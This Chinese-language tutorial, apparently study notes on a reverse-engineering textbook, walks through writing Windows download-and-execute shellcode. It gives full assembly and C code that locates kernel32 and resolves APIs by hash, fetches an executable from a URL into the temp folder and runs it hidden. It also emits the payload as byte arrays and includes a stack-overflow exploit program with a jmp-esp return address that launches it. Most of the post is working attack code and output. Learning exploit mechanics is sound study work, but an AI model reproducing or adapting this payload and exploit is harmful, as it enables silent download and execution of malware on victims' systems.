Table of Contents

References


  • 《加密与解密》第 14 章 漏洞分析技术(该文章中所有源代码及可执行程序均能在改书的随书文件中找到)
  • PE 知识复习之 PE 的导出表

shellcode 编写


shellcode 主要分为两个部分:

  • 基本模块
  • 功能模块

基本模块主要作用是找到 kernel32.dll 的基址,从而获得 GetProcessAddress 和 LoadLibrary 两个函数的地址,这两个函数可以用来确定任意 DLL 中 API 函数在内存中的具体位置,从而实现 windows 功能调用达到进一步利用的目的

功能模块主要作用是利用一些 API 函数,实现一些实际的攻击,书中给了三种典型利用手段:下载执行(浏览器类漏洞利用)、捆绑(常见于 Office)、反弹 shell(多见于主动型远程溢出漏洞)

这里再放一个书中的图,整个 shellcode 的结构,为后面的编写提供了思路:

shellcode 基本模块

找 kernel32.dll 基址:

		xor		ecx, ecx
		mov		ecx, dword ptr fs:[30h]
		mov		ecx, dword ptr [ecx+0Ch]
		mov		esi, dword ptr [ecx+1Ch]
sc_goonKernel:
		mov		eax, dword ptr [esi+8]
        mov		ebx, dword ptr [esi+20h]
        mov		esi, dword ptr [esi]
        cmp		dword ptr [ebx+0Ch], 320033h;判断名称中字符32的Unicode码
        jnz		sc_goonKernel

		mov		ebx, eax  ;获得kernel32地址

在 dll 中查找 API 地址,这里涉及到了导出表的结构,可以看一下这篇文章,写的很详细,总结起来就是:

FindApi:
		push    ecx
		push    ebp
		mov     esi, dword ptr [ebx+3Ch] // e_lfanew
		mov     esi, dword ptr [esi+ebx+78h] // EATAddr
		add     esi, ebx
		push    esi
		mov     esi, dword ptr [esi+20h]	//AddressOfNames
		add     esi, ebx
		xor     ecx, ecx
		dec     ecx

Find_Loop:
		inc     ecx
		lods    dword ptr [esi]
		add     eax, ebx
		xor     ebp, ebp
											//计算hash值
Hash_Loop:
		movsx   edx, byte ptr [eax]
		cmp     dl, dh
		je      hash_OK
		ror     ebp, 7
		add     ebp, edx
		inc     eax
		jmp     Hash_Loop

hash_OK:
			//判断hash值是否相等
		cmp     ebp, dword ptr [edi]
		jnz     Find_Loop

		pop     esi
		mov     ebp, dword ptr [esi+24h]    //Ordinal Table
		add     ebp, ebx
		mov     cx, word ptr [ebp+ecx*2]
		mov     ebp, dword ptr [esi+1Ch]	//Address Table
		add     ebp, ebx
		mov     eax, dword ptr [ebp+ecx*4]
		add     eax, ebx
		stos    dword ptr es:[edi]
		pop     ebp
		pop     ecx
		retn

shellcode 功能模块

这里我们就在本地搭建一个 web 服务器,在 web 的根目录下放一个 calc.exe 可执行程序,然后对其下载并执行

将基础模块整合,并给出直接能生成 shellcode 完整的 C 语言代码,这里生成了 3 种形式的 shellcode,C 语言数组形式,二进制形式和 txt 文件形式:

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
	DWORD scStart, scEnd;
	goto getShellcode;
	__asm {
sc_start:
			/*
		*	shellcode 基本模块
		*	查找Kernel32基址
		*
		*/
		xor		ecx, ecx
		mov		ecx, dword ptr fs:[30h]
		mov		ecx, dword ptr [ecx+0Ch]
		mov		esi, dword ptr [ecx+1Ch]
sc_goonKernel:
		mov		eax, dword ptr [esi+8]
        mov		ebx, dword ptr [esi+20h]
        mov		esi, dword ptr [esi]
        cmp		dword ptr [ebx+0Ch], 320033h;判断名称中字符32Unicode码
        jnz		sc_goonKernel

		mov		ebx, eax  ;获得kernel32地址
			/*
		*	shellcode 基本模块
		*	查找API地址
		*
		*/
		jmp		DataArea
backToMain:
		pop     ebp		 //捆绑数据地址
						 //获取Kernel32中API的地址
				//为ebx赋值DLL基址,为edi赋值Hash值地址,为ecx赋值API数量
		mov     edi, ebp
		mov		ecx, 07h
FindApi_loop:
		call    FindApi //循环查找API地址
		loop	FindApi_loop

					//调用LoadLibraryA加载urlmon
		push	6e6fh
		push	6d6c7275h
		mov		eax, esp
		push	eax
		call	dword ptr[ebp] //Kernel32.LoadLibrary
		mov		ebx, eax
		pop     eax
		pop     eax //平衡栈

					//获取urlmon中API的地址
		call    FindApi

						/*
		*	shellcode 功能模块
		*	第一步:下载路径设置
		*
		*/
						//申请空间存放文件路径
		push    40h
		push    1000h
		push    100h //申请空间大小
		push    0
		call    dword ptr [ebp+04h]				 //	kernel32.VirtualAlloc
		mov     dword ptr [ebp+20h], eax
			//获取临时文件夹路径
		push	eax
		push	100h
		call	dword ptr [ebp+0ch]		 //Kernel32.GetTempPathA
														 //设置临时exe文件路径%TEMP%\test.exe
		mov		ecx, dword ptr[ebp+20h]
		add		ecx, eax
		mov		dword ptr[ecx], 74736574h
		mov		dword ptr[ecx+4], 6578652eh
		mov		dword ptr[ecx+8], 0
		/*
		*	shellcode 功能模块
		*	第2步:下载文件URLDownloadToFile
		*
		*/
try_Download:
		push	0
		push	0
		push	dword ptr[ebp+20h] //exe路径
		lea		eax, dword ptr[ebp+24h] //URL
		push	eax
		push	0
		call	dword ptr[ebp+1ch] //urlmon.URLDowanloadToFileA
		test	eax, eax
		jz		Download_OK
		push	30000 //休眠30秒重试
		call	dword ptr[ebp+14h]						 //Kernel32.Sleep
		jmp		try_Download
			/*
		*	shellcode 功能模块
		*	第3步:运行文件WinExec
		*
		*/
Download_OK:
		push	SW_HIDE
		push	dword ptr[ebp+20h]
		call	dword ptr[ebp+10h] //Kernel32.WinExec

		push    08000h
		push    00h
		push    dword ptr [ebp+20h]
		call    dword ptr [ebp+08h] //kernel32.VirtualFree

		push	0
		push	0FFFFFFFFh
		call	dword ptr[ebp+18h] //Kernel32.TerminateProcess
		/*
		*	shellcode 基本模块
		*	查找API地址
		*
		*/
FindApi:
		push    ecx
		push    ebp
		mov     esi, dword ptr [ebx+3Ch] // e_lfanew
		mov     esi, dword ptr [esi+ebx+78h] // EATAddr
		add     esi, ebx
		push    esi
		mov     esi, dword ptr [esi+20h]							 //AddressOfNames
		add     esi, ebx
		xor     ecx, ecx
		dec     ecx

Find_Loop:
		inc     ecx
		lods    dword ptr [esi]
		add     eax, ebx
		xor     ebp, ebp
														 //计算hash值
Hash_Loop:
		movsx   edx, byte ptr [eax]
		cmp     dl, dh
		je      hash_OK
		ror     ebp, 7
		add     ebp, edx
		inc     eax
		jmp     Hash_Loop

hash_OK:
			//判断hash值是否相等
		cmp     ebp, dword ptr [edi]
		jnz     Find_Loop

		pop     esi
		mov     ebp, dword ptr [esi+24h] //Ordinal Table
		add     ebp, ebx
		mov     cx, word ptr [ebp+ecx*2]
		mov     ebp, dword ptr [esi+1Ch]							 //Address Table
		add     ebp, ebx
		mov     eax, dword ptr [ebp+ecx*4]
		add     eax, ebx
		stos    dword ptr es:[edi]
		pop     ebp
		pop     ecx
		retn
DataArea:
		call	backToMain

sc_end:
	}
getShellcode:
	_asm
		{
		mov		scStart, offset sc_start
		mov		scEnd, offset sc_end
		}
	DWORD scLen = scEnd - scStart;
	char Datas[] =
		"\x32\x74\x91\x0c"			//ebp,Kernel32.LoadLibraryA
		"\x67\x59\xde\x1e"			//ebp+4,Kernel32.VirtualAlloc
		"\x05\xaa\x44\x61"			//ebp+8,Kernel32.VirtualFree
		"\x39\xe2\x7D\x83"			//ebp+0ch,Kernel32.GetTempPathA
		"\x51\x2f\xa2\x01"			//ebp+10h,Kernel32.WinExec
		"\xa0\x65\x97\xcb"			//ebp+14h,Kernel32.Sleep
		"\x8f\xf2\x18\x61"			//ebp+18h,Kernel32.TerminateProcess
		"\x80\xd6\xaf\x9a"			//ebp+1ch,Urlmon.URLDownloadToFileA
		"\x00\x00\x00\x00"			//ebp+20h,变量空间
		"http://127.0.0.1/calc.exe" //ebp+24h,设置下载地址
		"\x00\x00";

	int newscBuff_length = scLen + sizeof(Datas);
	unsigned char *newscBuff = new unsigned char[newscBuff_length];

	memset(newscBuff, 0x00, newscBuff_length);
	memcpy(newscBuff, (unsigned char *)scStart, scLen);
	memcpy((unsigned char *)(newscBuff + scLen), Datas, sizeof(Datas));
	int i = 0;
	unsigned char xxx;
	for (i = 0; i < newscBuff_length; i++)
	{
		xxx = ((unsigned char *)newscBuff)[i];
		xxx = xxx ^ 0x00;
		newscBuff[i] = xxx;
	}

	FILE *fp = fopen("./shellcode_bin.bin", "wb+");
	fwrite(newscBuff, newscBuff_length, 1, fp);
	fclose(fp);

	FILE *fp_cpp = fopen("./shellcode_cpp.cpp", "wb+");
	fwrite("unsigned char sc[] = {", 22, 1, fp_cpp);
	for (i = 0; i < newscBuff_length; i++)
	{
		if (i % 16 == 0)
		{
			fwrite("\r\n", 2, 1, fp_cpp);
		}
		fprintf(fp_cpp, "0x%02x,", newscBuff[i]);
	}
	fwrite("};", 2, 1, fp_cpp);
	fclose(fp_cpp);

	FILE *fp_unicode = fopen("./shellcode_unescape.txt", "wb+");
	for (i = 0; i < newscBuff_length; i += 2)
	{
		fprintf(fp_unicode, "%%u%02x%02x", newscBuff[i + 1], newscBuff[i]);
	}
	fclose(fp_unicode);
	printf("Hello World!\n");
	return 0;
}

c 语言数组形式的 shellcode:

unsigned char sc[] = {
0x33,0xc9,0x64,0x8b,0x0d,0x30,0x00,0x00,0x00,0x8b,0x49,0x0c,0x8b,0x71,0x1c,0x8b,
0x46,0x08,0x8b,0x5e,0x20,0x8b,0x36,0x81,0x7b,0x0c,0x33,0x00,0x32,0x00,0x75,0xef,
0x8b,0xd8,0xe9,0xdf,0x00,0x00,0x00,0x5d,0x8b,0xfd,0xb9,0x07,0x00,0x00,0x00,0xe8,
0x8b,0x00,0x00,0x00,0xe2,0xf9,0x68,0x6f,0x6e,0x00,0x00,0x68,0x75,0x72,0x6c,0x6d,
0x8b,0xc4,0x50,0xff,0x55,0x00,0x8b,0xd8,0x58,0x58,0xe8,0x70,0x00,0x00,0x00,0x6a,
0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x01,0x00,0x00,0x6a,0x00,0xff,0x55,0x04,
0x89,0x45,0x20,0x50,0x68,0x00,0x01,0x00,0x00,0xff,0x55,0x0c,0x8b,0x4d,0x20,0x03,
0xc8,0xc7,0x01,0x74,0x65,0x73,0x74,0xc7,0x41,0x04,0x2e,0x65,0x78,0x65,0xc7,0x41,
0x08,0x00,0x00,0x00,0x00,0x6a,0x00,0x6a,0x00,0xff,0x75,0x20,0x8d,0x45,0x24,0x50,
0x6a,0x00,0xff,0x55,0x1c,0x85,0xc0,0x74,0x0a,0x68,0x30,0x75,0x00,0x00,0xff,0x55,
0x14,0xeb,0xe2,0x6a,0x00,0xff,0x75,0x20,0xff,0x55,0x10,0x68,0x00,0x80,0x00,0x00,
0x6a,0x00,0xff,0x75,0x20,0xff,0x55,0x08,0x6a,0x00,0x6a,0xff,0xff,0x55,0x18,0x51,
0x55,0x8b,0x73,0x3c,0x8b,0x74,0x1e,0x78,0x03,0xf3,0x56,0x8b,0x76,0x20,0x03,0xf3,
0x33,0xc9,0x49,0x41,0xad,0x03,0xc3,0x33,0xed,0x0f,0xbe,0x10,0x3a,0xd6,0x74,0x08,
0xc1,0xcd,0x07,0x03,0xea,0x40,0xeb,0xf1,0x3b,0x2f,0x75,0xe7,0x5e,0x8b,0x6e,0x24,
0x03,0xeb,0x66,0x8b,0x4c,0x4d,0x00,0x8b,0x6e,0x1c,0x03,0xeb,0x8b,0x44,0x8d,0x00,
0x03,0xc3,0xab,0x5d,0x59,0xc3,0xe8,0x1c,0xff,0xff,0xff,0x32,0x74,0x91,0x0c,0x67,
0x59,0xde,0x1e,0x05,0xaa,0x44,0x61,0x39,0xe2,0x7d,0x83,0x51,0x2f,0xa2,0x01,0xa0,
0x65,0x97,0xcb,0x8f,0xf2,0x18,0x61,0x80,0xd6,0xaf,0x9a,0x00,0x00,0x00,0x00,0x68,
0x74,0x74,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x2f,
0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00,0x00,0x00,};

shellcode 动态调试


环境说明:这里的漏洞利用场景是在栈溢出的场景下进行,未开启栈溢出检测和栈不可执行保护

观察栈溢出(定位到memcpy函数后即可):

定位memcpy函数方法,用 IDA 从 main 函数跟,能找到如下图所示的地址0x00401046

溢出了在子函数返回(执行ret指令)后 EIP 指向了我们的 shellcode:

结果演示


用 xampp 在本地搭起 web 服务,然后在 web 根目录下放置 calc.exe 可执行程序

然后执行随书文件中的 jmpESP.exe 程序:

执行后即可弹出计算器,注意这个计算器不是调用 win10 自带的计算器,而是从 http://127.0.0.1/calc.exe 那边下载下来的程序,如果我们把该程序换做其他恶意程序就能得到执行

这里附上jmpESP.exe的源代码:

/*-----------------------------------------------------------------------
第14章  漏洞分析技术
《加密与解密(第四版)》
(c)  看雪学院 www.kanxue.com 2000-2018
-----------------------------------------------------------------------*/

// jmpESP.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

DWORD BufLen;
char Buf[] =
	{
		0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, //覆盖缓冲区
		0x42, 0x42, 0x42, 0x42,							//覆盖EBP
		0x12, 0x45, 0xfa, 0x7f,							//覆盖返回地址(该地址存放了jmp esp指令)
		0x33, 0xc9, 0x64, 0x8b, 0x0d, 0x30, 0x00, 0x00, 0x00, 0x8b, 0x49, 0x0c, 0x8b, 0x71, 0x1c, 0x8b,
		0x46, 0x08, 0x8b, 0x5e, 0x20, 0x8b, 0x36, 0x81, 0x7b, 0x0c, 0x33, 0x00, 0x32, 0x00, 0x75, 0xef,
		0x8b, 0xd8, 0xe9, 0xdf, 0x00, 0x00, 0x00, 0x5d, 0x8b, 0xfd, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8,
		0x8b, 0x00, 0x00, 0x00, 0xe2, 0xf9, 0x68, 0x6f, 0x6e, 0x00, 0x00, 0x68, 0x75, 0x72, 0x6c, 0x6d,
		0x8b, 0xc4, 0x50, 0xff, 0x55, 0x00, 0x8b, 0xd8, 0x58, 0x58, 0xe8, 0x70, 0x00, 0x00, 0x00, 0x6a,
		0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x01, 0x00, 0x00, 0x6a, 0x00, 0xff, 0x55, 0x04,
		0x89, 0x45, 0x20, 0x50, 0x68, 0x00, 0x01, 0x00, 0x00, 0xff, 0x55, 0x0c, 0x8b, 0x4d, 0x20, 0x03,
		0xc8, 0xc7, 0x01, 0x74, 0x65, 0x73, 0x74, 0xc7, 0x41, 0x04, 0x2e, 0x65, 0x78, 0x65, 0xc7, 0x41,
		0x08, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0xff, 0x75, 0x20, 0x8d, 0x45, 0x24, 0x50,
		0x6a, 0x00, 0xff, 0x55, 0x1c, 0x85, 0xc0, 0x74, 0x0a, 0x68, 0x30, 0x75, 0x00, 0x00, 0xff, 0x55,
		0x14, 0xeb, 0xe2, 0x6a, 0x00, 0xff, 0x75, 0x20, 0xff, 0x55, 0x10, 0x68, 0x00, 0x80, 0x00, 0x00,
		0x6a, 0x00, 0xff, 0x75, 0x20, 0xff, 0x55, 0x08, 0x6a, 0x00, 0x6a, 0xff, 0xff, 0x55, 0x18, 0x51,
		0x55, 0x8b, 0x73, 0x3c, 0x8b, 0x74, 0x1e, 0x78, 0x03, 0xf3, 0x56, 0x8b, 0x76, 0x20, 0x03, 0xf3,
		0x33, 0xc9, 0x49, 0x41, 0xad, 0x03, 0xc3, 0x33, 0xed, 0x0f, 0xbe, 0x10, 0x3a, 0xd6, 0x74, 0x08,
		0xc1, 0xcd, 0x07, 0x03, 0xea, 0x40, 0xeb, 0xf1, 0x3b, 0x2f, 0x75, 0xe7, 0x5e, 0x8b, 0x6e, 0x24,
		0x03, 0xeb, 0x66, 0x8b, 0x4c, 0x4d, 0x00, 0x8b, 0x6e, 0x1c, 0x03, 0xeb, 0x8b, 0x44, 0x8d, 0x00,
		0x03, 0xc3, 0xab, 0x5d, 0x59, 0xc3, 0xe8, 0x1c, 0xff, 0xff, 0xff, 0x32, 0x74, 0x91, 0x0c, 0x67,
		0x59, 0xde, 0x1e, 0x05, 0xaa, 0x44, 0x61, 0x39, 0xe2, 0x7d, 0x83, 0x51, 0x2f, 0xa2, 0x01, 0xa0,
		0x65, 0x97, 0xcb, 0x8f, 0xf2, 0x18, 0x61, 0x80, 0xd6, 0xaf, 0x9a, 0x00, 0x00, 0x00, 0x00, 0x68,
		0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x2f,
		0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00};

void testFunc(char *Buf)
{
	char testBuf[8];
	memcpy(testBuf, Buf, BufLen);
	return;
}

int main(int argc, char *argv[])
{
	char testBuf[0x200];
	BufLen = sizeof(Buf);
	testFunc(Buf);
	return 0;
}